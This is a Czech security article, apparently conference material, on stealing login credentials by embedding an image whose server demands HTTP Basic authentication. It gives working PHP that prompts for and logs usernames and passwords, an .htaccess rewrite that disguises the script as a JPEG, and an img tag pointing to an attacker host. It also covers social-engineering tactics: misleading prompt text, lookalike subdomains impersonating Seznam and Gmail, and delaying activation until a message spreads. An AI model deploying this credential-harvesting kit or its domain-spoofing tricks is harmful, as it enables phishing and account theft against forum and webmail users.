Zpět na seznam článků     Číst komentáře (5)     Verze pro tisk

Krádež přihlašovacích údajů obrázkem (WWW-Authenticate exploit)

Autor: .cCuMiNn.   
20.11.2014

Jeden by si řekl, že (s)prosté obrázky vložené do HTML stránky, nebo do obsahu e-mailové zprávy, nemohou mít na svědomí krádež přihlašovacích údajů uživatelů, kteří obsah s těmito obrázky zobrazí. Je to ale skutečně tak?


S největší pravděpodobností jste se již na webu někdy setkali se stránkou, která vám místo obsahu předhodila pouze jednoduché vyskakovací okno se žádostí o přihlášení:

Jedná se o HTTP autentizaci, kterou je velmi snadné implementovat do webové aplikace odesláním hlavičky WWW-Authenticate nebo využitím souboru .htaccess. Často se proto používá k zaheslovaní určité složky, k přihlášení na FTP (protokol ftp:// v prohlížeči) nebo při přihlašování k různým HW zařízením, například k routeru. Více se o HTTP autentizaci dočtete například zde: http://emp.wz.cz/htconfig/http-autorizace.html.


WWW-Authenticate

Nás bude v tomto článku zajímat právě HTTP hlavička WWW-Authenticate, která může v odpovědi ze serveru vypadat takto:

WWW-Authenticate: Basic realm="Nějaká zpráva"

Podle specifikace by se měla stránka, která vyžaduje autentizaci, předávat se stavovým kódem 401 Unauthorized. Fungovat to ale bude i s kódem 200 OK.

Pokud se rozhodneme odeslat tuto hlavičku z PHP skriptu, stačí na jeho začátek uvést řádek:

  1. header('WWW-Authenticate: Basic realm="Zpráva pro uživatele"');
  2. Na straně serveru pak můžeme údaje zadané uživatele přečíst z pole $_server takto:
  3. $username = $_SERVER['PHP_AUTH_USER'];
  4. $password = $_SERVER['PHP_AUTH_PW'];


Zneužití

OK, to jsme si stručně řekli něco o HTTP autentizaci, ale teď se jistě ptáte, jak by se toho dalo zneužít. Je velice jednouché. Prohlížeč totiž toto ověření nevyvolává pouze tehdy, když načítá webovou stránku, ale také v případě kdy čte jakýkoliv jiný vložený obsah, který si o autentizaci požádá. A to dokonce i v případě, kdy je tento externí obsah načítán z jiné domény. Pokud tedy budu vyžadovat autentizaci uživatele například při žádosti o obrázek, který začlením do HTML stránky, pak ve chvíli, kdy se webový prohlížeč pokusí tento obrázek umístěný ve webové stránce načíst, dojde k vyvolání dialogu se žádostí o autentizaci.

Nyní by tedy již mohly být možnosti zneužití zřejmé. Pokud máme možnost vkládat do cizích webových aplikací (diskuzní fóra, webmaily, apd.) externí obsah (třeba právě obrázky), pak uvedeným způsobem můžeme návštěvníky těchto aplikací požádat o autentizaci. Jedinou velkou nevýhodou tohoto útoku je, že před textem zprávy se zobrazuje informace o doméně, která autentizaci vyžaduje. Toho si pozorný uživatel může všimnout, a proto je pro útočníka výhodnější psát text zprávy velkými písmeny, místo názvů domény používat IP adresy, nebo si zaregistrovat doménu s velmi podobným názvem, jako má cílová aplikace, na jejíž uživatele je útok namířen. O něco níže v tomto článku si pak ukážeme ještě jeden způsob, jak lze uživatele téměř stoprocentně zmást.


Exploit

Vytvoříme PHP skript, který pomocí zmiňované hlavičky WWW-Authenticate bude ověřovat, zda uživatel vyplnil jméno a heslo. Pokud budou tyto údaje vyplněny, uloží se na serveru do souboru logs.txt a zobrazí se nějaký obrázek. Do WWW-Authenticate je dobré napsat zprávu typu POKUD CHCETE ZOBRAZIT CELY OBSAH STRANKY, MUSITE ZADAT PRIHLASOVACI UDAJE.

  1. <?php
  2.   header('Content-Type: image/jpeg');  // skript bude zobrazen jako obrázek
  3.   if ($_SERVER['PHP_AUTH_USER'] == "" || $_SERVER['PHP_AUTH_PW'] == "")  {
  4.     //pokud není vyplněno jméno a heslo …
  5.     header('WWW-Authenticate: Basic realm="POKUD CHCETE ZOBRAZIT CELY OBSAH STRANKY, MUSITE ZADAT PRIHLASOVACI UDAJE"');   // … zobrazí se nám přihlašovací okno
  6.   } else {
  7.     // poskládání přihlašovacího jména a hesla do logu
  8.     $file = fopen("log.txt", "a+");  // otevři (nebo vytvoř) soubor pro čtení a zápis
  9.     $log = $_SERVER['PHP_AUTH_USER'].";".$_SERVER['PHP_AUTH_PW'];  
  10.     if(substr_count(fread($file, filesize("log.txt")), $log) == 0) {
  11.                   // pokud v souboru log.txt takové přihlašovací údaje nejsou …
  12.       fwrite($file, $log."\r\n");  // zapiš je do souboru
  13.     }
  14.     fclose($file);  // zavři soubor
  15.     echo file_get_contents('http://stranka.cz/obrazek.jpg');  // vypiš obrázek
  16.   }
  17. ?>

Dále je dobré upravit soubor .htaccess tak, aby na žádost o soubor picture.jpg vykonal a vracel soubor exploit.php. Toto podstrčení lze snadno provést následujícími řádky:

  1. RewriteEngine on
  2. RewriteRule picture\.jpg exploit.php

Další zlepšení by se mohlo týkat například kontroly, zda jsou vložené přihlašovací údaje platné.

Útočníkovi pak už zbývá pouze vložit do e-mailu, do soukromé zprávy, nebo do fóra externí obrázek picture.jpg, který se bude načítat z připravené stránky:

  1. <img src="http://www.attacker.cz/picture.jpg">

Ve chvíli kdy uživatel zprávu zobrazí, může být buďto okamžitě požádán o autentizaci, nebo bude muset nejprve povolit zobrazení externího obsahu, a o autentizaci bude požádán až následně (záleží na konkrétních bezpečnostních opatřeních dané aplikace).

Útočník může dále zvýšit důvěryhodnost tím, že zprvu nebude autorizaci vyžadovat. Teprve, až se kopie zprávy dostatečně rozšíří mezi uživateli, zapne ve skriptu na svém serveru nutnost autorizace a začne sklízet přihlašovací údaje uživatelů.


Jak zamaskovat název domény

Pro zamaskování názvu domény, která o uživatelské heslo žádá, se skvěle hodí domény, podobné těmto:

  1. cz-seznam.cz
  2. cz-volny.cz
  3. cz-soom.cz
  4. cz-prilohy.email
  5. com-inserted.pictures

Proč zrovna tyto domény? Protože můžete využívat i neomezený počet jejich subdomén a tvořit tak například tyto adresy:

  1. www.seznam.cz-seznam.cz
  2. www.soom.cz-soom.cz
  3. www.volny.cz-prilohy.email
  4. www.gmail.com-inserted.pictures

Pokud uživatel uvidí v autentizační žádosti tyto domény, nebude v nich s největší pravděpodobností spatřovat nic podezřelého.

Ukázka zneužití v phpBB

Ukázka zneužití ve webmailu Seznamu


Výhody oproti jiným typům útoků

Oproti jiným typům útoků pro získání autentizačních údajů uživatelů, je použití HTTP autorizace pro útočníky výhodné díky její nezávislosti na použitém operačním systému, webovém prohlížeči, či jiném programu, ve kterém se vložený obrázek (nebo jiný druh externího obsahu) zobrazuje. Pokud tedy například uživatel neprohlíží doručené mailové zprávy prostřednictvím webmailu, ale stahuje si je do e-mailového klienta, i tak dojde při zobrazení zprávy k vyvolání HTTP autentizace.

Poznámka: Tak dlouho jsem se zveřejněním čekal na konferenci, až se teď dívám, že v Google Chrome načítání externího obsahu s HTTP Autentizací snad už zakázali… :)


Materiály ze SOOM H&S Konference 2014



Slajdy: Krádež přihlašovacích údajů obrázkem


Jak to vypadá v prohlížečích

Ověření v Chromu
Ověření v Internet Exploreru
Ověření v Firefoxu

Poděkování

Za námět a první verzi tohoto článku patří můj dík Fil-kunovi.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.5/70

1  2  3  4  5    
(známkování jako ve škole)